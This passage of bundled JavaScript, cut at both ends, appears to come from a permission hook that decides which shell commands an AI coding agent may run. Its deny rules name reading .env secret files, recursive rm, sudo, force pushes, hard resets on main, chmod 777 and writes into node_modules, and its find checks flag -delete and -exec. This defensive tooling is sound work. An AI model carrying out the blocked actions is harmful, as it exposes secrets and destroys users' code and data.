instead of a hard deny -- the push isn't known-unsafe,\n* it's merely unresolved.\n*\n* A push that fails `gitPushStructuralRefspecs` for an actual reason\n* (protected branch, dangerous flag, unconfigured remote, ...) returns false\n* here too, so the `git-write` deny still fires for those.\n*/\nfunction isGitPushWithoutExplicitRefspec(tokens, ctx) {\n const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n return refspecs !== null && refspecs.length === 0;\n}\n/** `git tag` read-only flags taking no argument. */\nconst GIT_TAG_READ_FLAGS_NOARG = /* @__PURE__ */ new Set([\n \"-l\",\n \"--list\",\n \"-i\",\n \"--ignore-case\",\n \"--column\",\n \"--omit-empty\"\n]);\n/** `git tag` read-only flags taking one argument, as `--flag value` or `--flag=value`. */\nconst GIT_TAG_READ_FLAGS_VALUE = /* @__PURE__ */ new Set([\n \"--contains\",\n \"--no-contains\",\n \"--points-at\",\n \"--merged\",\n \"--no-merged\",\n \"--sort\",\n \"--format\"\n]);\n/**\n* `git tag` in a listing spelling. A positional argument is a tag name (a\n* write) unless a list flag is present, in which case it is a match pattern.\n* Bare `git tag` has no positional at all and lists.\n*\n* `-n<num>` here means \"print this many annotation lines\" -- on `clean` the\n* same letter is the dry run, which is why the two subcommands do not share a\n* flag table.\n*/\nfunction isGitTagListing(after) {\n let hasListFlag = false;\n let positionals = 0;\n for (let i = 0; i < after.length; i++) {\n const t = after[i];\n if (t === void 0) continue;\n if (!t.startsWith(\"-\")) {\n positionals++;\n continue;\n }\n if (t === \"-l\" || t === \"--list\") {\n hasListFlag = true;\n continue;\n }\n if (GIT_TAG_READ_FLAGS_NOARG.has(t)) continue;\n if (/^-n\\d*$/.test(t)) continue;\n const eq = t.indexOf(\"=\");\n if (eq > 0 && GIT_TAG_READ_FLAGS_VALUE.has(t.slice(0, eq))) continue;\n if (GIT_TAG_READ_FLAGS_VALUE.has(t)) {\n i++;\n continue;\n }\n return false;\n }\n return positionals === 0 || hasListFlag;\n}\n/**\n* `git clean` in a dry run. Requires `-f` to be absent rather than deciding\n* which flag wins when both are given -- that precedence is a git-version\n* behavior this hook would otherwise have to pin.\n*/\nfunction isGitCleanDryRun(after) {\n let dryRun = false;\n for (const t of after) {\n if (!t.startsWith(\"-\")) continue;\n if (t.startsWith(\"--\")) {\n if (t === \"--force\") return false;\n if (t === \"--dry-run\") dryRun = true;\n continue;\n }\n if (t.slice(1).includes(\"f\")) return false;\n if (t.slice(1).includes(\"n\")) dryRun = true;\n }\n return dryRun;\n}\n/**\n* Read-only spellings of subcommands whose writes are correctly denied. The\n* deny keys on the verb, so without this `git tag -l`, `git clean -n` and\n* `git <sub> --help` inherit the tier of `git tag v1.2.3`.\n*\n* An allowlist, not a denylist: an unrecognized flag returns false and keeps\n* today's deny, so a spelling missed here costs a prompt rather than an\n* unintended write.\n*/\nfunction isGitReadOnlyForm(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n const after = tokens.slice(tokens.indexOf(sub) + 1);\n if (after[0] === \"--help\") return true;\n if (sub === \"tag\") return isGitTagListing(after);\n if (sub === \"clean\") return isGitCleanDryRun(after);\n return false;\n}\n/** pnpm built-in subcommands (not user-defined scripts) */\nconst PNPM_BUILTINS = /* @__PURE__ */ new Set([\n \"install\",\n \"i\",\n \"add\",\n \"remove\",\n \"rm\",\n \"uninstall\",\n \"un\",\n \"update\",\n \"up\",\n \"upgrade\",\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\",\n \"audit\",\n \"licenses\",\n \"init\",\n \"create\",\n \"link\",\n \"unlink\",\n \"pack\",\n \"publish\",\n \"config\",\n \"set\",\n \"get\",\n \"store\",\n \"cache\",\n \"rebuild\",\n \"rb\",\n \"prune\",\n \"dedupe\",\n \"dlx\",\n \"exec\",\n \"run\",\n \"patch\",\n \"patch-commit\",\n \"recursive\",\n \"-r\"\n]);\n/** Read-only pnpm commands that are always safe */\nconst PNPM_SAFE_BUILTINS = /* @__PURE__ */ new Set([\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\"\n]);\nfunction isPnpmSafe(tokens) {\n const subTokens = tokens.slice(1);\n let subcommand;\n for (const t of subTokens) {\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n subcommand = t;\n break;\n }\n if (!subcommand) return false;\n if (PNPM_SAFE_BUILTINS.has(subcommand)) return true;\n if (subcommand === \"install\" || subcommand === \"i\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).every((t) => t.startsWith(\"-\"));\n if (subcommand === \"store\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).find((t) => !t.startsWith(\"-\")) === \"status\";\n return false;\n}\nconst NPM_READ_OPS = /* @__PURE__ */ new Set([\n \"view\",\n \"info\",\n \"show\"\n]);\nfunction isNpmReadOp(tokens) {\n const sub = tokens[1];\n return sub !== void 0 && NPM_READ_OPS.has(sub);\n}\n/** Map npm subcommand to a pnpm redirect message */\nfunction getNpmRedirectReason(tokens) {\n const sub = tokens[1];\n const BASE = \"This project uses pnpm.\";\n if (!sub) return `${BASE} Use \\`pnpm\\` instead of npm.`;\n if (sub === \"install\" || sub === \"i\" || sub === \"ci\") {\n if (tokens.slice(2).some((t) => !t.startsWith(\"-\"))) return `${BASE} Use \\`pnpm add <pkg>\\` instead of \\`npm install <pkg>\\`.`;\n return `${BASE} Use \\`pnpm install\\` instead of npm.`;\n }\n if (sub === \"add\") return `${BASE} Use \\`pnpm add <pkg>\\` instead of npm.`;\n if (sub === \"uninstall\" || sub === \"remove\" || sub === \"rm\" || sub === \"un\" || sub === \"r\") return `${BASE} Use \\`pnpm remove <pkg>\\` instead of npm.`;\n if (sub === \"run\" || sub === \"run-script\") return `${BASE} Use \\`pnpm run <script>\\` or \\`pnpm <script>\\` instead of npm.`;\n if (sub === \"test\" || sub === \"t\" || sub === \"tst\") return `${BASE} Use \\`pnpm test\\` instead of npm.`;\n if (sub === \"start\") return `${BASE} Use \\`pnpm start\\` instead of npm.`;\n if (sub === \"stop\") return `${BASE} Use \\`pnpm stop\\` instead of npm.`;\n if (sub === \"restart\") return `${BASE} Use \\`pnpm restart\\` instead of npm.`;\n if (sub === \"exec\") return `${BASE} Use \\`pnpm exec <cmd>\\` instead of npm.`;\n if (sub === \"list\" || sub === \"ls\" || sub === \"ll\" || sub === \"la\") return `${BASE} Use \\`pnpm list\\` instead of npm.`;\n if (sub === \"why\") return `${BASE} Use \\`pnpm why\\` instead of npm.`;\n if (sub === \"outdated\") return `${BASE} Use \\`pnpm outdated\\` instead of npm.`;\n if (sub === \"audit\") return `${BASE} Use \\`pnpm audit\\` instead of npm.`;\n if (sub === \"update\" || sub === \"up\" || sub === \"upgrade\") return `${BASE} Use \\`pnpm update\\` instead of npm.`;\n if (sub === \"init\") return `${BASE} Use \\`pnpm init\\` instead of npm.`;\n if (sub === \"publish\") return `${BASE} Use \\`pnpm publish\\` instead of npm.`;\n if (sub === \"link\") return `${BASE} Use \\`pnpm link\\` instead of npm.`;\n if (sub === \"unlink\") return `${BASE} Use \\`pnpm unlink\\` instead of npm.`;\n if (sub === \"pack\") return `${BASE} Use \\`pnpm pack\\` instead of npm.`;\n if (sub === \"cache\") return `${BASE} Use \\`pnpm store\\` instead of \\`npm cache\\`.`;\n if (sub === \"config\" || sub === \"set\" || sub === \"get\") return `${BASE} Use \\`pnpm config\\` instead of npm.`;\n return `${BASE} Use the equivalent pnpm command instead of npm.`;\n}\n/**\n* Commands whose write destination is the *last* positional argument\n* (`cp src dst`, `mv src dst`, `rsync -a src/ dst/`, `install -m 755 src dst`,\n* `ln -f src dst`).\n*/\nconst LAST_POSITIONAL_DEST = /* @__PURE__ */ new Set([\n \"cp\",\n \"mv\",\n \"rsync\",\n \"install\",\n \"ln\"\n]);\n/** Commands where *every* positional is written to (`tee a b`, `truncate -s 0 f`). */\nconst ALL_POSITIONAL_DEST = /* @__PURE__ */ new Set([\"tee\", \"truncate\"]);\n/** `-t DIR` / `--target-directory[=DIR]` -- an explicit destination directory. */\nfunction explicitTargetDirectory(rest) {\n for (const [i, t] of rest.entries()) {\n if (t === \"-t\" || t === \"--target-directory\") return rest[i + 1] ?? null;\n if (t.startsWith(\"--target-directory=\")) return t.slice(19);\n }\n return null;\n}\n/**\n* Destination paths named by shell redirects (`> f`, `>> f`, `2> f`, `>f`).\n*\n* Checked for *every* command, not just known write tools: the shell splitter\n* leaves redirect tokens inside the segment, so without this an unrecognized\n* command (`some-generator > node_modules/pkg/index.js`) would sail past a\n* command-keyed rule. Over-capture here is harmless -- a bogus \"destination\"\n* like `&1` from `2>&1` simply doesn't resolve into node_modules.\n*/\nfunction redirectDestinations(tokens) {\n const dests = [];\n for (const [i, t] of tokens.entries()) {\n if (/^(?:\\d*|&)>{1,2}$/.test(t)) {\n const next = tokens[i + 1];\n if (next !== void 0) dests.push(next);\n continue;\n }\n const attached = /^(?:\\d*|&)>{1,2}(.+)$/.exec(t);\n if (attached?.[1] !== void 0) dests.push(attached[1]);\n }\n return dests;\n}\n/**\n* Every path this command would *write to*. Sources are deliberately excluded:\n* reading out of `node_modules` (`cat node_modules/pkg/package.json`,\n* `cp node_modules/pkg/README.md docs/`) is routine and stays allowed. Only the\n* destination side can corrupt anything.\n*/\nfunction writeDestinations(tokens) {\n const cmd = path.basename(tokens[0] ?? \"\");\n const rest = tokens.slice(1);\n const dests = redirectDestinations(tokens);\n if (cmd === \"dd\") dests.push(...rest.filter((t) => t.startsWith(\"of=\")).map((t) => t.slice(3)));\n else if (cmd === \"sed\") {\n if (rest.some((t) => t === \"--in-place\" || /^-[a-zA-Z]*i/.test(t))) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n } else if (ALL_POSITIONAL_DEST.has(cmd)) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n else if (LAST_POSITIONAL_DEST.has(cmd)) {\n if (cmd === \"cp\" && rest.includes(\"--remove-destination\")) return dests;\n const targetDir = explicitTargetDirectory(rest);\n if (targetDir !== null) dests.push(targetDir);\n else {\n const last = rest.findLast((t) => !t.startsWith(\"-\"));\n if (last !== void 0) dests.push(last);\n }\n }\n return dests;\n}\n/**\n* True when the command writes anything into a `node_modules/` tree.\n*\n* See `targetsNodeModules` for why this is a hard deny rather than a prompt:\n* `node_modules` is hardlinked into pnpm's global content-addressable store, so\n* an in-place overwrite silently corrupts that package for every project on the\n* machine -- and the directory doing the writing looks perfectly fine afterward.\n* The 2026-07-13 store poisoning was exactly this, and it was *human-approved*\n* at the prompt, which is why a passthrough would not have stopped it.\n*/\nfunction writesIntoNodeModules(tokens, ctx) {\n return writeDestinations(tokens).some((d) => targetsNodeModules(d, ctx.cwd));\n}\n/** Shared by the `node-modules-write` deny rule and the early check in `evaluate.ts`. */\nconst NODE_MODULES_WRITE_REASON = \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, ...) writes through the link and corrupts that package for every project on this machine -- silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe -- it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\";\nfunction arePathArgsSafe(tokens, ctx) {\n for (const t of tokens.slice(1)) {\n if (t.startsWith(\"-\")) {\n if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n continue;\n }\n if (path.basename(t).startsWith(\".\")) return false;\n if (t.startsWith(\"~/\") || t === \"~\") return false;\n if (targetsGitDir(t, ctx.cwd)) return false;\n if (!isWithin(ctx.cwd, resolveIn(ctx.cwd, t))) return false;\n }\n return true;\n}\nconst FIND_ALWAYS_DANGEROUS = /* @__PURE__ */ new Set([\n \"-ok\",\n \"-okdir\",\n \"-delete\",\n \"-fprint\",\n \"-fprint0\",\n \"-fprintf\",\n \"-fls\"\n]);\nconst FIND_EXEC_SAFE_COMMANDS = /* @__PURE__ */ new Set([\n \"cat\",\n \"head\",\n \"tail\",\n \"grep\",\n \"egrep\",\n \"fgrep\",\n \"ls\",\n \"wc\",\n \"file\",\n \"stat\",\n \"basename\",\n \"dirname\",\n \"realpath\",\n \"readlink\",\n \"sha256sum\",\n \"sha1sum\",\n \"md5sum\",\n \"echo\"\n]);\n/**\n* Extracts the command name from a `-exec` or `-execdir` block.\n* Returns the basename of the first token after `-exec`/`-execdir`,\n* or undefined if the block is malformed.\n*/\nfunction findExecCommand(tokens, startIdx) {\n const cmdToken = tokens[startIdx + 1];\n if (!cmdToken || cmdToken === \"{}\" || cmdToken === \";\" || cmdToken === \"+\") return void 0;\n return path.basename(cmdToken);\n}\nfunction isFindSafe(tokens) {\n for (let i = 0; i < tokens.length; i++) {\n const t = tokens[i];\n if (t === void 0) continue;\n if (FIND_ALWAYS_DANGEROUS.has(t)) return false;\n if (t === \"-exec\" || t === \"-execdir\") {\n const cmd = findExecCommand(tokens, i);\n if (!cmd || !FIND_EXEC_SAFE_COMMANDS.has(cmd)) return false;\n }\n }\n return true;\n}\nfunction isSortSafe(tokens) {\n return !tokens.includes(\"-o\") && !tokens.some((t) => t.startsWith(\"--output\"));\n}\nfunction isRmRecursive(tokens) {\n const rmIdx = tokens.findIndex((t) => path.basename(t) === \"rm\");\n if (rmIdx === -1) return false;\n const afterRm = tokens.slice(rmIdx + 1);\n const shortFlags = afterRm.filter((t) => t.startsWith(\"-\") && !t.startsWith(\"--\"));\n const longFlags = afterRm.filter((t) => t.startsWith(\"--\"));\n const hasRecursiveShort = shortFlags.some((f) => /[rR]/.test(f));\n const hasRecursiveLong = longFlags.includes(\"--recursive\");\n return hasRecursiveShort || hasRecursiveLong;\n}\nfunction isChmod777(tokens) {\n return tokens.some((t) => t === \"777\" || t === \"0777\");\n}\nfunction isGitForcePush(tokens) {\n const pushIdx = tokens.indexOf(\"push\");\n if (pushIdx === -1) return false;\n return tokens.slice(pushIdx + 1).some((t) => t === \"--force\" || t === \"-f\");\n}\nfunction isGitResetHardOnMain(tokens) {\n if (!(tokens.includes(\"reset\") && tokens.includes(\"--hard\"))) return false;\n if (tokens.some((t) => t === \"main\" || t === \"master\")) return true;\n const positionalArgs = tokens.filter((t) => t !== \"git\" && t !== \"reset\" && !t.startsWith(\"-\"));\n return positionalArgs.length === 0 || positionalArgs.includes(\"HEAD\");\n}\n/** bst subcommands that are safe to auto-approve (read-only or local-only). */\nconst BST_SAFE_SUBCOMMANDS = /* @__PURE__ */ new Set([\n \"checks:run\",\n \"lint:types\",\n \"lint:report\",\n \"hooks:audit\",\n \"hooks:sync\",\n \"docker:build\",\n \"docker:check\",\n \"repo:sync\",\n \"coverage:check\",\n \"coverage:summary\",\n \"coverage:status\",\n \"health:check\",\n \"health:summary\",\n \"health:status\",\n \"ascii:check\",\n \"docs:check\",\n \"docs:delink\",\n \"docs:relocate\",\n \"docs:retire\",\n \"pr:create\",\n \"pr:update\",\n \"pr:checks\",\n \"pr:list\",\n \"issue:view\",\n \"issue:list\",\n \"issue:download\"\n]);\n/**\n* Flags that disqualify an otherwise-safe bst subcommand from auto-approval.\n*\n* `issue:download` is a remote read whose local write is confined to --out, sanitized\n* to a basename, and never overwrites. `--force` is exactly the power to overwrite an\n* existing local file with remote-controlled bytes, so it prompts.\n*\n* `pr:create`/`pr:update` are safe because an update PATCHes only the fields it was given and\n* refuses to drop a closing keyword the PR's body already carries. `--allow-unlink` is the one\n* flag that turns that refusal off, and what it permits -- an issue silently staying open after\n* its PR merges -- is the exact failure this whole command pair was split apart to prevent, and\n* one no PR review catches (the diff looks fine; the link is just gone). A guard an agent can\n* step over unattended is not a guard, so passing it prompts.\n*\n* Matching is deliberately conservative: any occurrence of the flag token anywhere in\n* the command (as a bare flag, `--flag=value`, after a `--` separator, or even as the\n* value of another flag) disqualifies. A flag that *might* be present is treated the\n* same as one that definitely is -- fail closed rather than try to model citty's\n* argument parsing (positional vs. flag-value) here.\n*/\nconst BST_UNSAFE_FLAGS = {\n \"issue:download\": [\"--force\"],\n \"pr:create\": [\"--allow-unlink\"],\n \"pr:update\": [\"--allow-unlink\"]\n};\nfunction hasDisqualifyingFlag(sub, tokens) {\n const flags = BST_UNSAFE_FLAGS[sub];\n if (!flags) return false;\n return tokens.some((token) => flags.some((flag) => token === flag || token.startsWith(`${flag}=`)));\n}\n/**\n* Safe under `bst-agent` only. Both are read-only, and both were safe under `bst` before the\n* agent moved to its own package -- transcripts and repair candidates only exist where the\n* agent runs, so the published CLI has no such command to classify.\n*\n* `agent:start` is deliberately absent: it spawns containers and holds two credentials, so it\n* prompts. `bst-agent` is a workspace-linked bin of a private package, the same trust shape as\n* `bst` (a name pnpm resolves, not a filesystem path an agent can manufacture), so it inherits\n* `BST_SAFE_SUBCOMMANDS` and `BST_UNSAFE_FLAGS` unchanged.\n*/\nconst BST_AGENT_ONLY_SAFE_SUBCOMMANDS = /* @__PURE__ */ new Set([\"agent:repair-candidates\", \"agent:transcript\"]);\nfunction isBstSafe(tokens, extraSafe) {\n const sub = tokens[1];\n if (!sub) return false;\n if (!BST_SAFE_SUBCOMMANDS.has(sub) && !extraSafe?.has(sub)) return false;\n return !hasDisqualifyingFlag(sub, tokens);\n}\n/** True when `token` resolves to a `.md` file inside the project's `docs/` directory. */\nfunction isDocsMarkdownPath(token, ctx) {\n if (token.startsWith(\"~\")) return false;\n if (!token.endsWith(\".md\")) return false;\n return isWithin(resolveIn(ctx.cwd, \"docs\"), resolveIn(ctx.cwd, token));\n}\n/** True when a plain `mv` only moves `.md` files within `docs/`. */\nfunction isMvDocsSafe(tokens, ctx) {\n const paths = [];\n for (const t of tokens.slice(1)) {\n if (t.startsWith(\"-\")) {\n if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n continue;\n }\n paths.push(t);\n }\n return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n}\n/** Short sed flags that take no argument and may be bundled (e.g. `-ne`). */\nconst SED_NOARG_SHORT_CHARS = /* @__PURE__ */ new Set([\n \"n\",\n \"E\",\n \"r\",\n \"s\",\n \"u\",\n \"z\"\n]);\n/** Long sed flags that take no argument (an optional `=value` is still self-contained). */\nconst SED_KNOWN_LONG_NOARG = /* @__PURE__ */ new Set([\n \"--quiet\",\n \"--silent\",\n \"--debug\",\n \"--follow-symlinks\",\n \"--in-place\",\n \"--posix\",\n \"--regexp-extended\",\n \"--separate\",\n \"--sandbox\",\n \"--unbuffered\",\n \"--null-data\",\n \"--help\",\n \"--version\"\n]);\n/**\n* True when `sed` targets only `.md` files under `docs/`.\n*\n* Parses sed's argument grammar enough to tell the script token from file\n* tokens: when neither `-e` nor `-f` is present the first positional is the\n* script, otherwise every positional is a file. Unknown or ambiguous flags\n* make the check bail (-> passthrough) rather than guess.\n*/\nfunction isSedDocsSafe(tokens, ctx) {\n let sawScriptOption = false;\n let skipNext = false;\n const positionals = [];\n for (const t of tokens.slice(1)) {\n if (skipNext) {\n skipNext = false;\n continue;\n }\n if (t === \"-\" || !t.startsWith(\"-\")) {\n positionals.push(t);\n continue;\n }\n if (t.startsWith(\"--\")) {\n const eq = t.indexOf(\"=\");\n const base = eq === -1 ? t : t.slice(0, eq);\n if (base === \"--expression\" || base === \"--file\") {\n sawScriptOption = true;\n if (eq === -1) skipNext = true;\n continue;\n }\n if (base === \"--line-length\") {\n if (eq === -1) skipNext = true;\n continue;\n }\n if (SED_KNOWN_LONG_NOARG.has(base)) continue;\n return false;\n }\n const body = t.slice(1);\n for (let c = 0; c < body.length; c++) {\n const ch = body[c];\n if (ch === \"i\") break;\n if (ch === \"e\" || ch === \"f\") {\n sawScriptOption = true;\n if (c === body.length - 1) skipNext = true;\n break;\n }\n if (ch === \"l\") {\n if (c === body.length - 1) skipNext = true;\n break;\n }\n if (!SED_NOARG_SHORT_CHARS.has(ch)) return false;\n }\n }\n const files = sawScriptOption ? positionals : positionals.slice(1);\n return files.length > 0 && files.every((f) => isDocsMarkdownPath(f, ctx));\n}\nconst denyRules = [\n {\n name: \"rm-recursive\",\n match: /^rm$/,\n action: \"deny\",\n when: (tokens) => isRmRecursive(tokens),\n reason: \"Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\"\n },\n {\n name: \"sudo\",\n match: /^sudo$/,\n action: \"deny\",\n reason: \"Don't use sudo. If you need elevated permissions, ask me to do it manually.\"\n },\n {\n name: \"git-force-push\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitForcePush(tokens),\n reason: \"Use `git push --force-with-lease` instead of `--force`.\"\n },\n {\n name: \"git-reset-hard\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitResetHardOnMain(tokens) && !isGitFeatureBranchWrite(tokens, ctx),\n reason: \"Don't `reset --hard` on main. Create a branch first.\"\n },\n {\n name: \"git-discard-changes\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitDiscardChanges(tokens),\n reason: \"`-f` / `--discard-changes` throws uncommitted changes away, and nothing reports what was lost. Save them first -- `git stash push` is auto-approved -- then `git switch <branch>` and `git stash pop`. If the changes belong on the target branch, plain `git switch <branch>` carries them over. Ask the user before discarding anything.\"\n },\n {\n name: \"git-bare-checkout\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitBareCheckout(tokens) && !isGitCheckoutPathRestore(tokens),\n reason: \"Use `git switch <branch>` to change branches -- unlike `checkout` it cannot discard uncommitted file changes, and it is auto-approved. To create a branch: `git switch -c <branch>` (or `git checkout -b <branch>`). To restore a file, name the path after a `--` separator (`git restore [--source <ref>] -- <path>`, or `git checkout [<ref>] -- <path>`); both prompt rather than being auto-approved.\"\n },\n {\n name: \"git-protected-branch-write\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitProtectedBranchWrite(tokens, ctx),\n reason: \"Not auto-approved on a protected branch. Create a feature branch first -- `git switch -c <branch>` is auto-approved, and commit/merge/rebase/cherry-pick/revert/reset are auto-approved once you are on it. To push from there, `git push origin <branch>` with an explicit refspec.\"\n },\n {\n name: \"git-protected-branch-force-create\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitProtectedBranchForceCreate(tokens, ctx),\n reason: \"Force-create (`switch -C`/`--force-create`, `checkout -B`, `worktree add -B`) doesn't just create a branch -- when the branch already exists it resets it to the start point (HEAD by default) and checks it out. To switch to this branch, plain `git switch <branch>` is auto-approved. To create a work branch, pick a non-protected name (`git switch -C <feature>` stays auto-approved). Resetting a protected branch to its origin state is the user's to run.\"\n },\n {\n name: \"git-write\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitWriteOp(tokens) && !isGitSafeWriteOp(tokens, ctx) && !isGitFeatureBranchWrite(tokens, ctx) && !isGitSafePush(tokens, ctx) && !isGitPushWithoutExplicitRefspec(tokens, ctx) && !isGitUnrecognizedBranchFlag(tokens) && !isGitWorktreeMoveOrRemove(tokens) && !isGitCheckoutPathRestore(tokens) && !isGitReadOnlyForm(tokens),\n reason: \"This git write isn't auto-approved. Working-tree and history operations are auto-approved on a feature branch (`git switch -c <branch>` first); a push needs an explicit refspec from one (`git push origin <branch>`). Writing forms of `tag` and `clean` have no auto-approved form (their listing and dry-run forms do -- `git tag -l`, `git clean -n`); `stash drop`, `git rm -r`, and anything carrying a config/exec-injection or repo-redirect flag have none at all. All of these need the user to run them.\"\n },\n {\n name: \"chmod-777\",\n match: /^chmod$/,\n action: \"deny\",\n when: (tokens) => isChmod777(tokens),\n reason: \"Don't use 777 permissions. Use more restrictive permissions.\"\n },\n {\n name: \"node-modules-write\",\n match: /./,\n action: \"deny\",\n when: (tokens, ctx) => writesIntoNodeModules(tokens, ctx),\n reason: NODE_MODULES_WRITE_REASON\n },\n {\n name: \"env-file-read\",\n match: /^(cat|head|tail|less|more|grep)$/,\n action: \"deny\",\n when: (tokens) => tokensTargetEnvFile(tokens),\n reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n },\n {\n name: \"npx-redirect\",\n match: /^npx$/,\n action: \"deny\",\n reason: \"This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\"\n }\n];\nconst allowRules = [\n {\n name: \"vitest\",\n match: /^vitest$/,\n action: \"allow\"\n },\n {\n name: \"jest\",\n match: /^jest$/,\n action: \"allow\"\n },\n {\n name: \"tsc\",\n match: /^tsc$/,\n action: \"allow\"\n },\n {\n name: \"tsdown\",\n match: /^tsdown$/,\n action: \"allow\"\n },\n {\n name: \"bst\",\n match: /^bst$/,\n action: \"allow\",\n when: (tokens) => isBstSafe(tokens)\n },\n {\n name: \"bst-agent\",\n match: /^bst-agent$/,\n action: \"allow\",\n when: (tokens) => isBstSafe(tokens, BST_AGENT_ONLY_SAFE_SUBCOMMANDS)\n },\n {\n name: \"oxlint\",\n match: /^oxlint$/,\n action: \"allow\"\n },\n {\n name: \"oxfmt\",\n match: /^oxfmt$/,\n action: \"allow\"\n },\n {\n name: \"eslint\",\n match: /^eslint$/,\n action: \"allow\"\n },\n {\n name: \"prettier\",\n match: /^prettier$/,\n action: \"allow\"\n },\n {\n name: \"biome\",\n match: /^biome$/,\n action: \"allow\"\n },\n {\n name: \"knip\",\n match: /^knip$/,\n action: \"allow\"\n },\n {\n name: \"cat\",\n match: /^cat$/,\n action: \"allow\"\n },\n {\n name: \"head\",\n match: /^head$/,\n action: \"allow\"\n },\n {\n name: \"tail\",\n match: /^tail$/,\n action: \"allow\"\n },\n {\n name: \"grep\",\n match: /^grep$/,\n action: \"allow\"\n },\n {\n name: \"ls\",\n match: /^ls$/,\n action: \"allow\"\n },\n {\n name: \"wc\",\n match: /^wc$/,\n action: \"allow\"\n },\n {\n name: \"uniq\",\n match: /^uniq$/,\n action: \"allow\"\n },\n {\n name: \"diff\",\n match: /^diff$/,\n action: \"allow\"\n },\n {\n name: \"echo\",\n match: /^echo$/,\n action: \"allow\"\n },\n {\n name: \"pwd\",\n match: /^pwd$/,\n action: \"allow\"\n },\n {\n name: \"which\",\n match: /^which$/,\n action: \"allow\"\n },\n {\n name: \"dirname\",\n match: /^dirname$/,\n action: \"allow\"\n },\n {\n name: \"basename\",\n match: /^basename$/,\n action: \"allow\"\n },\n {\n name: \"realpath\",\n match: /^realpath$/,\n action: \"allow\"\n },\n {\n name: \"npm\",\n match: /^npm$/,\n action: \"allow\",\n when: (tokens) => isNpmReadOp(tokens)\n },\n {\n name: \"test\",\n match: /^test$/,\n action: \"allow\"\n },\n {\n name: \"bracket-test\",\n match: /^\\[$/,\n action: \"allow\"\n },\n {\n name: \"cd\",\n match: /^cd$/,\n action: \"allow\"\n },\n {\n name: \"true\",\n match: /^true$/,\n action: \"allow\"\n },\n {\n name: \"colon\",\n match: /^:$/,\n action: \"allow\"\n },\n {\n name: \"find\",\n match: /^find$/,\n action: \"allow\",\n when: (tokens) => isFindSafe(tokens)\n },\n {\n name: \"sort\",\n match: /^sort$/,\n action: \"allow\",\n when: (tokens) => isSortSafe(tokens)\n },\n {\n name: \"git\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens) => isGitReadOp(tokens)\n },\n {\n name: \"git-read-only-form\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens) => isGitReadOnlyForm(tokens)\n },\n {\n name: \"git-safe-write\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitSafeWriteOp(tokens, ctx),\n advise: (tokens, ctx) => isGitBranchCreation(tokens) && isPrimaryWorktree(ctx.cwd) ? WORKTREE_ADVICE : void 0\n },\n {\n name: \"git-feature-branch-write\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitFeatureBranchWrite(tokens, ctx)\n },\n {\n name: \"git-safe-push\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitSafePush(tokens, ctx)\n },\n {\n name: \"pnpm\",\n match: /^pnpm$/,\n action: \"allow\",\n when: (tokens) => isPnpmSafe(tokens)\n },\n {\n name: \"cp\",\n match: /^cp$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"mkdir\",\n match: /^mkdir$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"touch\",\n match: /^touch$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"mv-docs\",\n match: /^mv$/,\n action: \"allow\",\n when: (tokens, ctx) => isMvDocsSafe(tokens, ctx)\n },\n {\n name: \"sed-docs\",\n match: /^sed$/,\n action: \"allow\",\n when: (tokens, ctx) => isSedDocsSafe(tokens, ctx)\n }\n];\n\n//#endregion\n//#region src/lib/workspace-root.ts\n/**\n* Walk up from `cwd` to the directory holding `pnpm-workspace.yaml`.\n*\n* Its own module rather than a `script-resolver.ts` export because\n* `settings.ts` needs it and `script-resolver.ts` needs `settings.ts`,\n* which is a cycle the health gate reports.\n*/\nfunction findWorkspaceRoot(cwd) {\n let dir = resolve(cwd);\n while (true) {\n if (existsSync(join(dir, \"pnpm-workspace.yaml\"))) return dir;\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n//#endregion\n//#region src/lib/settings.ts\nconst SETTINGS_PATH = \".claude/hooks/bst-hook.settings.json\";\nconst BstHookSettingsSchema = object({\n allow: array(string().min(1)).default([]),\n protectedBranches: array(string().min(1)).default([])\n});\n/**\n* Check whether a file at `relativePath` inside `cwd` is tracked and\n* unmodified in git (no staged or unstaged changes vs 